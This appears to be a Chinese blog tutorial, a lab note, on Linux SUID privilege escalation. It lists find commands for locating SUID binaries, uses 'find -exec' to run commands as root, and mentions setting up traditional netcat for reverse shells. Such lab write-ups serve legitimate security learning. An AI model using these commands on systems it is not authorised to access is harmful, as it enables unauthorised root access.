0x00 SUID是什么?
SUID其实和文件或目录的基本属性一样(r w x) ,当一个可执行的文件(命令)拥有SUID时,x就变成s了,你试下:ll /usr/bin/passwd 就知道,意思就是当你执行这个命令时暂时拥有passwd的拥有者的权限,也就是root
0x01 suid提权
运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)
搜索符合条件的可以用来提权的:(三种都可以)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
搜索可以提权的程序,一般有以下 :
nmap vim find Bash More Less Nano cp
0x011 find命令提权
先看看当前权限
看看哪些命令是以suid权限执行
find / -perm -u=s -type f 2>/dev/null
发现find可以利用
需要配合find命令(寻找文件)。所以先创建个测试文件吧
(普通用户的话,进入到/tmp目录下,然后新建一个文件)
touch test
find test -exec whoami \;
执行find命令,并查看当前权限。会发现已经是root权限
0x02 小扩展?
迟来的道歉和修改!
/bin/bash 换成 /bin/sh 即可,权限则仍然是root
想试试这样反弹shell之后会是什么权限(结果令人失望)
1.尝试用bash
2.尝试用nc
Tips~
ubuntu 16.04需要修改默认nc为传统nc。为什么修改,因为自带的nc不能反向shell
安装传统nc
sudo apt -y install netcat-traditional
修改系统默认nc为传统nc,可用-e选项
sudo update-alternatives --config nc
(原以为跟正反向有关系,结果…)
GOT IT!
总的来说。suid提权是短暂的,能帮我们以root权限执行指定的命令
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~